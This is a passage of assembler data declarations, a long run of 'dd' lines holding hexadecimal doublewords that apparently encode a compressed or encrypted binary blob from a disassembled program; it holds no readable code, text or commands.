		dd 0F9E77C00h, 2E626D67h, 74354C9Ch, 0A7C07480h, 0B601C3F1h
		dd 8E68D90Eh, 0C4313D4Eh, 30504C22h, 452A8443h,	0F88684F2h
		dd 0EA27E302h, 4962F3DCh, 0E823D160h, 0EABC5E2Ch, 4B976020h
		dd 3B134CEAh, 24286378h, 73B70629h, 914CD1CAh, 8C55E0A1h
		dd 89DEA159h, 0B32E00A9h, 84BCF831h, 3801F468h,	1FD7C6Eh
		dd 0F4268A87h, 691F0503h, 51381531h, 8824C57Ch,	89EC0990h
		dd 18A2FC8Dh, 90518B86h, 518A5510h, 5CFE8388h, 618607CAh
		dd 0A77E3901h, 691D240Bh, 30B948CFh, 0A038CC50h, 12593A1Ch
		dd 3249EB99h, 6F26C870h, 95050031h, 0B507B6AEh,	5D4A8B9Fh
		dd 3C857825h, 0F09FD4CCh, 1EA604F3h, 0C4E37F87h, 90C8D41Bh
		dd 696CF080h, 68ACDE28h, 3F518D3Dh, 1AF38ED2h, 9E5C20B5h
		dd 5CCA5232h, 758D64F5h, 8F3441B1h, 80C6E127h, 0E471C11h
		dd 76AF72A9h, 84851297h, 0DB18448Dh, 0B9785806h, 39CF07EFh
		dd 90596F1Dh, 3AF38EDFh, 9A37609h, 8D184846h, 3D6CAC97h
		dd 0A60EF96Fh, 0D741E42Ah, 3233551Ch, 0D9144C24h, 0B08DA79h
		dd 59DD2C37h, 8952D4C2h, 0B0B48864h, 24361409h,	98A46698h
		dd 2AB000B7h, 62C98442h, 0CA006108h, 0B8D9CEF2h, 1E920C12h
		dd 0C968390Eh, 0F88BEFC0h, 5719B8B0h, 0F0C5B83Ch, 9D0BCD00h
		dd 4656330h, 3E44181Ah,	0AFD588F1h, 0C0254A9h, 8CA8EA3h
		dd 0B06D875h, 829D914h,	0BB7E278Eh, 0A66330A6h,	7F298002h
		dd 0DC301B9h, 0B6FD3B8Fh, 0ECE4D634h, 7D834804h, 3C89E1DBh
		dd 2C111561h, 70103Ah
		dd 0C9C112D3h, 81A895DCh, 82544810h, 0C37DB6E9h, 94C466h
		dd 5604576Fh, 7B62256Dh, 66E49251h, 119600A8h, 0E84DBDDAh
		dd 0B75F0F61h, 2E715C07h, 0E8E8C4D4h, 9C378384h, 0DF916B40h
		dd 800334Ch, 8ABB5F38h,	3DB9C1CFh, 10F5BEF2h, 151A927Fh
		dd 2728CDD5h, 3BCC20A0h, 0FA025EF2h, 477003FAh,	752E653Dh
		dd 0FBD0ADC8h, 282A8572h, 14218C72h, 0A0360CCFh, 1F00C289h
		dd 5B8656A2h, 0BBDF48h,	63FE0A12h, 0E973604h, 3A2CACA4h
		dd 946E58EBh, 0C70384F8h, 0AB440953h, 1C50AFh, 113BCD3Eh
		dd 0EB00430Dh, 0D1B645B3h, 74DAB2h, 0AD841F4Bh,	8ED4D83Dh
		dd 4C117E2Ch, 4B665A89h, 2CAD88ECh, 0DFC900BEh,	0D96B99D8h
		dd 0F2187224h, 146984AAh, 1244000Bh, 0CBF45AEEh, 57EC4203h
		dd 98B72300h, 0EAA54C1Dh, 0FDC9CEA6h, 0CFC3F494h, 3FD09D8Bh
		dd 9F481E55h, 8CCA1618h, 0E8F84804h, 0E6A4C812h, 21DD250Fh
		dd 4821906Ah, 0EBD0D288h, 3C50FC32h, 39808E02h,	46DC7294h
		dd 52014B58h, 0D6688834h, 0C5FCC077h, 250F4400h, 6FF8C756h
		dd 34838008h, 933D8499h, 608F468Ah, 69468965h, 0A37CD054h
		dd 518840Eh, 5D8CF22h, 0BC0058D3h, 0A86CB2Ah, 186C7445h
		dd 8F2D0A3h, 85602430h,	0FD59CA10h, 0A9E890h, 0F3F0930Dh
		dd 262460ACh, 526A20C7h, 25D6C757h, 53060011h, 0F01D1B1Fh
		dd 29C0678Ch, 0CC6B0981h, 7270C4CAh, 8B2346BCh,	0C5620069h
		dd 80611C78h, 590C37E9h, 28D4CED1h, 5D0422BDh, 2BA4261Ah
		dd 0C98F06B8h, 41E2C020h, 49EAC783h, 0CA1CCF7Fh, 70F77F17h
		dd 7C79D4E6h, 56A8876h,	58509D00h, 0F62C1C7Ch, 83B2069Ch
		dd 0A8152D0Ch, 0A3232603h, 0E9847E22h, 198C4AF9h, 30C9096Dh
		dd 1EF2C400h, 72859604h, 0E2F806E1h, 98E3C64Bh,	34B1A863h
		dd 0CDA900BFh, 0D66BB12h, 0BD3D67AEh, 10E100E4h, 0FFCE8298h
		dd 78B180CBh, 0A25F105h, 5800836Ah, 0D8F00506h,	8010549Fh
		dd 8CC453C3h, 0E2540607h, 0C00F4167h, 46BC5723h, 0EB00218Ch
		dd 2B1E9D52h, 12E95DF4h, 4A32B8CFh, 608C4C00h, 0FCC4BAD7h
		dd 0E81C9031h, 489DA43Eh, 83072050h, 1DF8298Fh,	0C4489425h
		dd 35F9FF7h, 0C87F895Ch, 98A40BE2h, 9CF24112h, 3F45D5Eh
		dd 1B34927Ch, 0F97B17D9h, 0D47C2EC2h, 0D051D318h, 0F0990204h
		dd 1DABBE39h, 950A2600h, 0B1270011h, 0C5075A4Ah, 6E0AEC55h
		dd 7C9EC4E7h, 79B14E18h, 687E422h, 6698323Dh, 0EE63207Ah
		dd 704F2481h, 61C40529h, 81C84599h, 41153A66h, 81CB7238h
		dd 43066891h, 78226D1Dh, 0C8B737Ah, 0BE2D1675h,	0DA1F29B9h
		dd 33C17CCAh, 43EF020Eh, 0AC274C45h, 0E6316870h, 286A0582h
		dd 5F91CF6h, 40666D84h,	4C477D98h, 9D009F14h, 8D5B455Dh
		dd 2048AC4h, 0F761933Dh, 0C30470F3h, 0CE4B0A03h, 2123A918h
		dd 4C66D9h, 5A348742h, 7081B018h, 641DD90Ch, 3017685Ch
		dd 30B9F18Dh, 0AA3F0669h, 8E298AD3h, 0BD88C8A0h, 51CA85FEh
		dd 6A8C210Ch, 978110C9h, 0E4E4A8FCh, 0EF1D138Ch, 34304685h
		dd 6D0129F5h, 37A0EC44h, 0D45CFD0Ah, 3857166h, 0B2B9D246h
		dd 5915F2F1h, 3F8802E2h, 71C078C3h, 0A959ECF6h,	7543001Ah
		dd 4F7EAFCBh, 0A41E0D38h, 0C0642B47h, 0BD761741h, 0A844D312h
		dd 57452100h, 0CE1DD462h, 0E94B6FC6h, 10A41F64h, 68F7C0C4h
		dd 719C70DDh, 0A220025h, 0B93892B4h, 317DFD2Fh,	923DC420h
		dd 41A76434h, 60854F65h, 0E7934576h, 0F25E0179h, 0C963AE2Eh
		dd 0F0DCE49Bh, 809438D1h, 7192E67Eh, 0A0E87947h, 28206AACh
		dd 4464FB98h, 0EB004575h, 5EB91865h, 70B7F20Bh,	0A80A859h
		dd 29856A71h, 66A50051h, 8D1314C2h, 2B60C549h, 5A808CB7h
		dd 0C914BB49h, 0EC7510D5h, 0BCD329A2h, 95067E00h, 2C8E72EBh
		dd 0A410A5h, 3FF7FC3Eh,	4A29C4BCh, 0EF08A01Eh, 0E45200CBh
		dd 0FF065F7Bh, 0C71E43FEh, 5AC0B15Eh, 7432193Fh, 6B683077h
		dd 0F5058138h, 0C6C8A888h, 8C7A7F0h, 0E43452h, 0FA1FE314h
		dd 0C3993Fh, 9A5EF4B5h,	0C25879E1h, 486E98A9h, 8F0054E0h
		dd 0C99EE3D5h, 1D7983AEh, 0C07EBFDBh, 0B4EC382Fh, 202954C0h
		dd 0BD0DC092h, 0C892F847h, 14702225h, 6D4460C6h, 74264C6Ah
		dd 0FA801388h, 0D3B73B58h, 0D7ED3B07h, 1C33A981h, 5050CFBFh
		dd 0B67F6A90h, 0FD2BD309h, 66A0909Bh, 1C0D0525h, 8027B83Bh
		dd 1A08354Ch, 0D9B54601h, 7997AC7Ch, 823ACC34h,	0F630E020h
		dd 0AB0475C6h, 430B9C03h, 88CDA4C8h, 0A60FEC7Ah, 208975DFh
		dd 1213C95Eh, 8BBB00CFh, 0E78599A4h, 44E1BD35h,	0EEFC907Ch
		dd 10998917h, 51C7D30Ch, 0E91E0DEAh, 410FBBFh, 3124DDD4h
		dd 10E409F8h, 0FD241790h, 342B0A4h, 71FC3D2Ah, 33CC4109h
		dd 0D96C00ECh, 0EC6F01D1h, 0CC0E5810h, 20B3AB8Eh, 8A8E52C0h
		dd 4278C3Ah, 4A7F82B5h,	99588096h, 0D0C51418h, 0FBE485C0h
		dd 0A13C5BE8h, 61A6007Ah, 0C21DA5B6h, 0F4A05895h, 0EE801788h
		dd 0F4970A20h, 96400090h, 0B8ED2B31h, 0D3636A13h, 3423F1h
		dd 0E397BB71h, 0BF18CF9Fh, 0EA6AC00Fh, 0CDCCC7D9h, 0AE462330h
		dd 2AE0B29Bh, 0E8416D2h, 787E7A33h, 93CFE5A0h, 6701E891h
		dd 0A6BF9CD1h, 77F84263h, 7469016Fh, 6E8C2837h,	50B057FBh
		dd 0C89CF81Fh, 0B04F9415h, 0FAB811C0h, 54770A15h, 0F9AEF5C2h
		dd 0D32A140h, 814F2A1Dh, 25085440h, 7E21BA4Ch, 30A8D68Dh
		dd 18D0E960h, 90A89100h, 0B4595827h, 0E5BE0146h, 0D8A40469h
		dd 8699884h, 90368F08h,	0D0100DAh, 14A97516h, 0F2434CAh
		dd 0A64AC92h, 69F3185Fh, 5A0068B4h, 0A1EE1D4Dh,	99C7B7B3h
		dd 247C2AACh, 80206223h, 5989CDF2h, 3C9AA1C5h, 0E5516C60h
		dd 0B8E93E8Eh, 0CEC10015h, 44F045D4h, 7B09EC85h, 22CB9846h
		dd 0C80B8D10h, 0CE51B7D0h, 902D61h, 0E77C53BCh,	1D12D418h
		dd 904764h, 0B33F1EE8h,	495C3B1Fh, 80F288F4h, 3FA7F339h
		dd 7F0429BDh, 0FE4FCD9Fh, 3802DC84h, 0C8F176B7h, 4CBDA490h
		dd 14B09CFFh, 2D037CE2h, 8895AC8Bh, 0DC408FEAh,	13E1B690h
		dd 190167EEh, 1033B1BCh, 7E689Eh, 617C105Bh, 0EFE98AAh
		dd 0B2093Eh, 0F0ED9C07h, 90881C2Eh, 500224C4h, 0C86A6594h
		dd 4C908B74h, 88EC3000h, 0D9B63848h, 485FECB1h,	0AC4D90ADh
		dd 204BECA1h, 0E9002A25h, 26D45D01h, 52F7D38Dh,	0C1008063h
		dd 1355EC22h, 0BF2EC5D0h, 0A060F815h, 16F6AE8Dh, 44EAA6D2h
		dd 44F393E0h, 4B24CBDh,	84D85168h, 88F9CF81h, 1A224C78h
		dd 892D4487h, 0E1EA8500h, 78C64154h, 0D2260766h, 0B0747743h
		dd 0CBF68B98h, 0F400E49Bh, 48B16630h, 8D40005Eh, 0D282A37Bh
		dd 0C433883Ah, 11F3600Fh, 248A4799h, 0D940CC6Dh, 0E2ED8366h
		dd 0F7A5261Ah, 0B47C4484h, 8AFFC74Ch, 0C4164941h, 511F4F42h
		dd 0C40C00B8h, 6B354265h, 7C91E726h, 0E28E2041h, 2422C049h
		dd 0BD7E5500h, 0D880CDADh, 2EF138h, 0CC59FCB3h,	93A1312h
		dd 8BD20A91h, 6C742098h, 3EDAB702h, 578A8DEh, 0BCDC00EEh
		dd 9D7CD88Eh, 0C3379F12h, 4A00585Dh, 0EE40730Bh, 6E421Ch
		dd 0F9C6914Ch, 381FB7E5h, 0E700410Fh, 0F69D79D4h, 0F9A06099h
		dd 0E8B01540h, 0B181D091h, 0C450EE4Ah, 52F0BAC6h, 0EC550774h
		dd 4076BC6Dh, 5FF08F51h, 88D4334Ch, 32D58C0Ah, 0B00BB28h
		dd 77FD4C0Ch, 243F12F1h, 87686836h, 941DD069h, 2E3CE424h
		dd 0F90440Fh, 0C83AA016h, 2673A19Bh, 8D0260Dh, 6C07867Fh
		dd 0E68E0F74h, 122F210h
		dd 9922C6CDh, 29E97F20h, 208C27A0h, 83B23F8Ch, 4AE8B04Eh
		dd 0AD2832CCh, 990B9580h, 869828FFh, 9842FA00h,	7E40FCEDh
		dd 656A09F5h, 0C8C9A43Bh, 3F4441D3h, 822EE06Fh,	4015800h
		dd 0BF0CB0D5h, 0BDE0C11Fh, 37A419EBh, 837C3E84h, 181F12B5h
		dd 0D823E0EEh, 0DCC9023Ch, 93FDDB62h, 7358900Bh, 3F2A00AFh
		dd 0E71E13E5h, 8403E67Bh, 5446D287h, 7E73B837h,	430D03A5h
		dd 500C6CD6h, 2F1FD1E7h, 0F0188655h, 8A497h, 653442F4h
		dd 437C0E89h, 4BEB21C0h, 0E65E279Bh, 4F740002h,	9693D636h
		dd 940CA2DEh, 59A554EEh, 0F408C16Ah, 804DA68Dh,	0CE890218h
		dd 4FE02Dh, 7D81510Ah, 1D841E94h, 0A6469E06h, 0C06888CDh
		dd 0C9CC4238h, 326F5BD2h, 8ED8D41h, 0C02455CCh,	68F79129h
		dd 18005D9Fh, 3DF1DC3Bh, 0E7D16Ch, 64668C84h, 5256EC1Dh
		dd 0C45E31C0h, 3716CE4Fh, 135893FAh, 0E11F261Ah, 0C1F1D443h
		dd 7980A78Eh, 784858CCh, 99001449h, 4489B794h, 19E18A2Eh
		dd 29B3D48Dh, 10A85101h, 8AFC0936h, 3FD60165h, 2FED6DFEh
		dd 5F618049h, 0B3BB3B36h, 64050016h, 83EF998Fh,	0F403EAF5h
		dd 0A0B943Ch, 997098h, 1C50B56Ch, 1D2F8B79h, 0F0B4CA06h
		dd 108C9DFh, 0AE6EFFBAh, 438C2172h, 50E06AFDh, 913080BCh
		dd 6E88313Ah, 0BC195F94h, 0ED1879C4h, 0A3596D67h, 196038Dh
		dd 63EF3972h, 0CA8BC4A8h, 0E8052D01h, 2ECF540Ch, 44C5488Ch
		dd 3300A451h, 2AEB8C22h, 3E9FF01h, 54BB73DFh, 899BCA1Ch
		dd 0D6B869F0h, 0C06E760Ch, 6055B1EDh, 0FC50400Fh, 0D600FF3Bh
		dd 0AB70C5B2h, 3AD26D0h, 0F181CDCh, 281401A2h, 4C544443h
		dd 604D30DEh, 71A6D9h, 436533DEh, 5F70B0DFh, 0B722F908h
		dd 38C2030h, 0C5588DDCh, 39012618h, 0F95CCE46h,	1086EE50h
		dd 91BFAF1Fh, 50A43778h, 8FC61D09h, 35A2805Fh, 7665FD7Dh
		dd 8AE06EFh, 315E1E72h,	0B2C944h, 0E2534F29h, 749AFEB7h
		dd 78088A30h, 0CE4CFDB3h, 92293670h, 0F0FA1480h, 1A0039B7h
		dd 1FC67532h, 0C02C84FDh, 7A346A30h, 58C66B26h,	0F808C567h
		dd 0AEEA0706h, 0F00F335Dh, 93A4453Dh, 38B058DFh, 0A841A879h
		dd 6F4743D0h, 358A39C7h, 0B311B180h, 28A1028h, 5D0D1C17h
		dd 907E416Eh, 24624004h, 8D016720h, 1FEA2783h, 41841AC3h
		dd 4C0D3EC5h, 3146B12Dh, 0BAC63F94h, 67298A68h,	7680DC79h
		dd 88DDCC12h, 91DB0084h, 588074A1h, 9C494310h, 3049240Ch
		dd 0A1073991h, 3350202Bh, 49007B68h, 3769C4AEh,	4C106FFBh
		dd 0CD1EA9F5h, 839DC3BAh, 9851FC4Dh, 0A10AFF52h, 30E04A54h
		dd 0BCF0B881h, 21BD27B2h, 8017709Ch, 697A8E32h,	81C440C5h
		dd 58C1C6E3h, 9F49862h,	0C83B04C9h, 0C0241683h,	6AACB7A6h
		dd 64512D14h, 8D3C80ACh, 98F41E57h, 80BD0A49h, 80BC4EA6h
		dd 0E54CBB48h, 0D300BCEDh, 0F0764406h, 9BC22Dh,	1B269315h
		dd 41AFA2A3h, 67419EEBh, 45C46643h, 0B1780Bh, 8B46DE7Ch
		dd 277589D2h, 403F4428h, 0B61DA200h, 2833ED3Eh,	8A79211Bh
		dd 22654502h, 0E24443F9h, 6014448Dh, 89500955h,	530F9182h
		dd 844BFEC8h, 8C91CB35h, 0B7F08AD1h, 0A19CA47Ch, 3C409B30h
		dd 453BA3h, 35E63F5Bh, 5657986Ch, 8E210E60h, 37C16Eh, 7962602Fh
		dd 94F64B43h, 238A3C1Ch, 241BCF42h, 2DC444B9h, 0B9D03230h
		dd 942DF528h, 5400AF74h, 29ED7A4Bh, 19EA21Bh, 151370BAh
		dd 81BF683Bh, 1A11B289h, 80E00E6Ah, 809166h, 52F66598h
		dd 8500A295h, 6EC91606h, 1EA5B1E3h, 716F17BAh, 0B59148h
		dd 1E83F97h, 3CEB7675h,	8A124BC6h, 982CC5F9h, 9035CE80h
		dd 1AE3BCh, 66E6BBE7h, 0EA303470h, 1C68D3Ch, 0D72A8238h
		dd 94208F18h, 4C9A6Ch, 0B6FEB29Ch, 0D2C6B66h, 10BDC424h
		dd 1FC9E702h, 348491BBh, 9121E4E1h, 0B4006405h,	2D541E87h
		dd 3FC518E7h, 37B8990Ah, 91795D09h, 35381056h, 0DC8B5213h
		dd 59C2637Ch, 0D4D87A4Eh, 77007223h, 0B675223Ch, 13BBED35h
		dd 0F25AFA5h, 0E3233BC1h, 380041F4h, 0A334B7B8h, 980B8D60h
		dd 0AB0920Bh, 7A6806ECh, 0EA98879Ch, 2DE82048h,	0E093B71h
		dd 199F0A2h, 6B20025Ah,	8AC0B830h, 3A413042h, 0BE5C3108h
		dd 0CEED00C9h, 683943A2h, 0AF59C074h, 58472E8Fh, 0C0921B00h
		dd 1AB45227h, 91F901F7h, 0D4FDD0EDh, 37898F1Ch,	0A43CE932h
		dd 6A403828h, 605CBB45h, 3B33300Bh, 2BA824D7h, 0B9FC3052h
		dd 0C3006A2Ah, 7C425F88h, 8D32FEh, 6F0C8EA0h, 7AC953F2h
		dd 0D16C253Bh, 826800ACh, 89000E9Ah, 77E438FFh,	2CD6B997h
		dd 6000D718h, 6BB2B0CEh, 0BE69C700h, 400A314Fh,	463E04F8h
		dd 81618614h, 1238CDE0h, 0DF5410A3h, 0E8646900h, 8610C03Fh
		dd 2A1A03F9h, 35BF9BB8h, 1C6A3003h, 0E0094E44h,	54B2BB70h
		dd 0FE5AC1Eh, 2232CE6h,	0F7B8A120h, 0B228E860h,	9344E08Ch
		dd 0A4BF0088h, 0F63AC836h, 2D13DA04h, 20BEDh, 2E6FC076h
		dd 755B5E5h, 0B770037Ch, 1FC4103Eh, 0D600C6B3h,	4ABD2F28h
		dd 7D9B8D0h, 0BAED48B9h, 49FD60DBh, 0EE042DC8h,	2F9E445Dh
		dd 68B518C2h, 0ED54BCh,	188CDF3Fh, 558A7692h, 1BFE903h
		dd 0E580E026h, 30B780C8h, 0BAA06B2Eh, 0A924FCE1h, 0BC404464h
		dd 0C00337h, 0DF9BEA2h,	27AC811Ah, 620E5800h, 0F6E44BD9h
		dd 3BB7A9Eh, 0B104DFF4h, 0D100C655h, 0FCA11FBEh, 0D7E3A2Bh
		dd 54D0B323h, 171022ACh, 0C461A779h, 0F050FBB2h, 6A5C49h
		dd 328E2B79h, 7E76EC19h, 4DE6FE00h, 5E86559Bh, 734412F0h
		dd 0EDCC4B4Eh, 0C7059418h, 5AD33200h, 18F719EAh, 0A820070h
		dd 7791DDA4h, 0CB02D458h, 148B6A83h, 6BF8401Dh,	9E43801Bh
		dd 6A497665h, 9448D887h, 65808C67h, 725CA0F8h, 320173E6h
		dd 7D9A3424h, 0D8C4AA5Ah, 0D48B146Bh, 0B918E46Ch, 3D3041CFh
		dd 19623472h, 221CEE70h, 0E02A9F41h, 0A4222512h, 1F532011h
		dd 8400C2CEh, 38946A31h, 0FC9EBB0h, 97759E4Ch, 0AFAB0B36h
		dd 0C8C23E84h, 0D50046ACh, 0E6056CCh, 855CBh, 3D8C7349h
		dd 0E0504A78h, 0BA7D151Fh, 0AFD0B642h, 67504053h, 78C0503Dh
		dd 2CF08893h, 24EB5501h, 0D21D36C5h, 0C3347CD0h, 515D5476h
		dd 0E49030EAh, 2F0FE43Fh, 8B7DD681h, 0E07893BBh, 0F25CD3B3h
		dd 562A1992h, 0D5BC79A1h, 4100E7ADh, 0B75F52D7h, 501FC840h
		dd 67904Ah, 11F61297h, 4CDE3074h, 0DFE8AA00h, 0EF8B546Ah
		dd 3BAC3740h, 0D9C67041h, 18090423h, 0E74F9Ah, 65B72D4Ch
		dd 0ED59026Bh, 0B0249C49h, 0BA50F8A1h, 0A10A304Ah, 61A36A01h
		dd 4555960Bh, 1751C70h,	74792C99h, 64B1E047h, 5202CA20h
		dd 970D66CEh, 46186027h, 0AB2C3185h, 604D3008h,	61C29CB8h
		dd 0E4C28F1Ch, 95B30014h, 0AFC17C5h, 8C170CBAh,	0EE0066A7h
		dd 0D472D348h, 0B9980219h, 5592DBB7h, 0C4FDCC48h, 794BC5Ch
		dd 0A56B3B9Dh, 2546C631h, 361F4C34h, 2871BEC4h,	76AF8B0Bh
		dd 19400215h, 0DC52B3h,	7F2F0D5Ch, 8EDF8F67h, 6C55E211h
		dd 0A9128500h, 0E77DAE63h, 0CB0060F4h, 969DD9BEh, 0A380A7Ah
		dd 0B4D2904h, 0C3550CBCh, 51047C39h, 900AC18Eh,	0F26512C0h
		dd 0E0FD2EEEh, 2D6701E4h, 4B203E4Eh, 7C6D11A0h,	88C1B450h
		dd 0D70A09C5h, 0A4B749D6h, 96814210h, 81477FA8h, 0DA550CD9h
		dd 4684B092h, 0A05E9944h, 0FA4CB3A8h, 5F598024h, 1D767177h
		dd 40E35155h, 8DB2231Bh, 0D104BF29h, 0C27F4A22h, 396758A4h
		dd 8A3DE148h
		dd 2BAC0581h, 0C0790AB5h, 0D0B5E9CEh, 0B97898C6h, 0E8C60708h
		dd 0A834815Fh, 809CF04Ch, 9416A622h, 617B406Ch,	6C071210h
		dd 6716DFEFh, 582F9601h, 28000831h, 4A12C649h, 0B8BC4029h
		dd 35C56B57h, 2A4851C3h, 62B7E0C3h, 0EDD40445h,	0C250A281h
		dd 28207B80h, 9202F2h, 396F4A7Ah, 6A58756h, 0EDB9BD01h
		dd 42C26D6Eh, 0D851A0h,	48571179h, 6907B224h, 0BAA36B05h
		dd 0E8C0987Fh, 0A20C44C6h, 3811C048h, 0E04026A3h, 0FB1E0441h
		dd 0BAC0C36Eh, 60FDE4C1h, 0D40123ACh, 0EE582275h, 5870C1F9h
		dd 30C940F1h, 0B4D55526h, 3022AB1Eh, 0C29137C5h, 0D23B04F1h
		dd 78358083h, 2AF22BE3h, 0BE5A07B0h, 0D96848B8h, 79E71C8Fh
		dd 438538A2h, 2802C347h, 8406082Dh, 3053E8ACh, 4A6DA2B4h
		dd 0DBEF6409h, 363E800Dh, 1647F5ABh, 0F1B5DD6h,	1D255A4h
		dd 359D93FEh, 0C0D8386Bh, 29E5ED83h, 0DBD20F2Fh, 0B96130EBh
		dd 85BFA255h, 2313C598h, 0D6FE9821h, 0CC637461h, 5800D443h
		dd 862B3263h, 75000DECh, 1030D5B3h, 16AB8F5Ah, 42AA46Fh
		dd 44B4B098h, 55492690h, 947010C8h, 0E493B500h,	0C19E37D4h
		dd 832B2E2Ch, 36170389h, 8FF8ECDFh, 0DA0B6A01h,	26B30A3h
		dd 82C545C4h, 283BA92Ch, 24C911CCh, 0E5E4D8B2h,	0D124B346h
		dd 0DE12E100h, 0ED65899Dh, 1D297EA1h, 4A66A227h, 60EC63CBh
		dd 0E71A68Dh, 1CFB5A03h, 0D09523B5h, 0C4C4BA24h, 0B412C5C9h
		dd 0EE0954D0h, 0A5E0DB49h, 2400C288h, 79AAA7D6h, 1EFB1F63h
		dd 0E9B94416h, 186888C5h, 0A3BE5304h, 11804320h, 0F9E28B14h
		dd 0CF006023h, 0F1EE533Ch, 0CD4B2409h, 0C60B1449h, 0C04200E8h
		dd 4C3CC457h, 6C0443ADh, 981B3895h, 35007CE3h, 1E755A28h
		dd 340014CDh, 4CDFF2B9h, 9AAF898Bh, 22454B4Ch, 0CC66A2F0h
		dd 38B1BD28h, 70FB60EEh, 83001653h, 1D692F43h, 25F33A6Eh
		dd 4027B3D5h, 560E500Ah, 6A00BBDCh, 5BE83999h, 0B0BEE051h
		dd 0B51F1988h, 2967716Dh, 784807FCh, 12C0BCE8h,	7E3E94h
		dd 0EFB3B957h, 0FA509E47h, 2453C0Bh, 0C438098Fh, 72830794h
		dd 0D179AB38h, 0E9F8F6F9h, 0B5882007h, 808C585Ch, 45C34BD6h
		dd 4AF0C398h, 790A9268h, 0B7159940h, 0FE12FD39h, 0D832A778h
		dd 9A7B3048h, 2A22FE0Fh, 0DB54A01Bh, 0DD2576h, 4162E4EDh
		dd 4669A934h, 4037B826h, 80DF5302h, 10D47990h, 44A6C89Ch
		dd 1878E253h, 0BE1922B3h, 5F281F9Dh, 0A45E40E9h, 3E4278C4h
		dd 144C717Eh, 0E73F8600h, 0E3BE44A8h, 0A84CC105h, 0EC632D59h
		dd 0C480A1A2h, 26FC46FAh, 2540188Bh, 14C0C81Ah,	0B026493h
		dd 0B03C8847h, 28712Dh,	7566DCB8h, 0EC1D679Ch, 2580A195h
		dd 64E55519h, 80AC9456h, 9CA58577h, 0B81D2B6Eh,	2DCFF159h
		dd 64C1364Dh, 88406BDFh, 80B57340h, 3B8921B3h, 678FCh
		dd 0B143A07Eh, 0AF2C6EF4h, 0CB545D3Ah, 8D798045h, 309BD432h
		dd 9509AC54h, 4867E8B9h, 0F65CE4h, 2B264C6Bh, 0C53ABC9Ch
		dd 45411F67h, 18D0F210h, 0BE8300B1h, 0F9E165ABh, 350327DFh
		dd 0B0560AC4h, 44C89D3Ch, 0C7EE1E51h, 0D12AC0F1h, 0E44B7730h
		dd 47217400h, 3BDF9C6Fh, 37CE4F1Fh, 42D04574h, 0A24E44BCh
		dd 891D8451h, 5E00B1DFh, 30860F95h, 6E170064h, 0F8C69616h
		dd 2A013662h, 80BCED73h, 14384D8Ch, 472EA491h, 8A8B6FE4h
		dd 0C01440ABh, 9077AF46h, 11462108h, 0ACFECD02h, 0A7452C5h
		dd 85F2E470h, 0A91019Eh, 0C83B113Fh, 4EB0DFE9h,	0B8A148ECh
		dd 542956h, 0C29BEA1h, 9CC204B7h, 7C059FC8h, 0D0802F3Eh
		dd 0BCE9EDDFh, 5D5EA369h, 0B1E34C23h, 42E04B05h, 0E4AF00D3h
		dd 8AEB3031h, 1901CF12h, 0E046E32Ch, 58238B80h,	0C5E54906h
		dd 7200693Eh, 405474F2h, 0EA1FB24Ch, 23833DD7h,	0C56924FEh
		dd 2C9340C4h, 980001B2h, 13A5A6EDh, 5A0AFBDFh, 0EF071C1h
		dd 790C01F6h, 25FA4A18h, 989B4418h, 0A89F79C1h,	9A696510h
		dd 0BD449988h, 1D972C00h, 5FEB4B16h, 48EF8003h,	0E17DF0FBh
		dd 6440C217h, 1C1AB265h, 4057C5EDh, 6172483Ch, 0EE02AFFAh
		dd 8E53B82Eh, 9CFCD044h, 0A8744038h, 51005975h,	220AD06Bh
		dd 7545A64Ah, 0C3970B3Ah, 600BF210h, 0CD1F3CA2h, 6750FCE4h
		dd 0DC010564h, 1791B78Dh, 93208C08h, 0DE84BBAh,	359A3084h
		dd 9C3364h, 0B0EA43F7h,	1F3D7761h, 12DAF00Fh, 4A5800B8h
		dd 6230E0BDh, 0C7556618h, 11D1071h, 0C0FCE3EAh,	50C6279Dh
		dd 3F92DD64h, 2FFBF00h,	0EE88D468h, 0CB70CEh, 9620FE1Fh
		dd 54D2DFECh, 2C834C99h, 0D0783284h, 31B599Bh, 5F257CD5h
		dd 0CED03B9Eh, 0E501C1ADh, 2A8FC7DFh, 0C31FEEEh, 0E96E9C20h
		dd 0C6D43004h, 5C1FADA2h, 6C9F9552h, 82943200h,	0E6A30617h
		dd 3C514856h, 58AFB900h, 67EB1D96h, 1CCC49h, 0FC1B6021h
		dd 73D886F7h, 31855BD7h, 6C3C8FA0h, 6DBB8098h, 5A4317h
		dd 0A52CF386h, 0ED89B31Eh, 0B69F6500h, 443BCB58h, 528CBE4Ah
		dd 38AE1760h, 0FF11E300h, 0AB7DF7D3h, 3CF61236h, 2164DCF3h
		dd 0A0308E41h, 256200CDh, 6B34B847h, 0C417CAA3h, 0B020C56Ah
		dd 202B28Dh, 5C868C30h,	0BC413977h, 0A1A068A3h,	2F886BBh
		dd 7647002Eh, 6BF9DF4Fh, 1507FC2Ch, 4514E382h, 13C63DE1h
		dd 0C8015C44h, 468DF85Fh, 0E82678CDh, 90B32D12h, 906C9AE4h
		dd 0EE673102h, 0C256C180h, 6BD811FCh, 3B43E4CCh, 8780F6D6h
		dd 397FB37h, 0E600F5BCh, 0A0B49AD2h, 0E8D3805h,	2A3F1E55h
		dd 1CEEF189h, 8B1C4176h, 841BAA6h, 8D28121Ah, 0D6DD2A30h
		dd 472C8C20h, 0A7883101h, 492AD779h, 0FE6AA042h, 0C90270Bh
		dd 0AE000EAFh, 51622720h, 9EEC248h, 4943C49Ch, 28B0E600h
		dd 59016AE0h, 7AD0DFEDh, 0C474B6AFh, 4E018643h,	0E74ABAEDh
		dd 3870E66Ah, 6BD205EEh, 82C0C9F3h, 0F027F4DCh,	0EC74C170h
		dd 0CB4B01C7h, 56B8D19Fh, 60F431EEh, 389C1248h,	0DF74E140h
		dd 0CE2F01A2h, 37D6BF56h, 41A0D8F9h, 0E78DD700h, 0C4B89C5Bh
		dd 9F470049h, 9D72ED1Dh, 0DC000F64h, 0A4E4CAD5h, 0CD2A81h
		dd 87559A61h, 0F163D4F9h, 57BB3F0Ah, 0B8208058h, 0B49E3C28h
		dd 3783458h, 0AFC93641h, 888DDC43h, 9030D2F4h, 0B1334BAh
		dd 5F8B220h, 0F64E8F1Dh, 81D35E80h, 0EDC11F4Dh,	61AB412Ah
		dd 0F835310Ch, 0ECA5C2B8h, 0A2568400h, 138F8CC4h, 86D8BB3h
		dd 998AC918h, 0F11CD345h, 0F9CB4F40h, 7CF35AE4h, 51660930h
		dd 5051D334h, 2855F200h, 0F7FEE0A3h, 3800BDE3h,	84BA7C75h
		dd 5EA8003Dh, 23D236FBh, 2C2CE8DBh, 490774B6h, 4A2047BBh
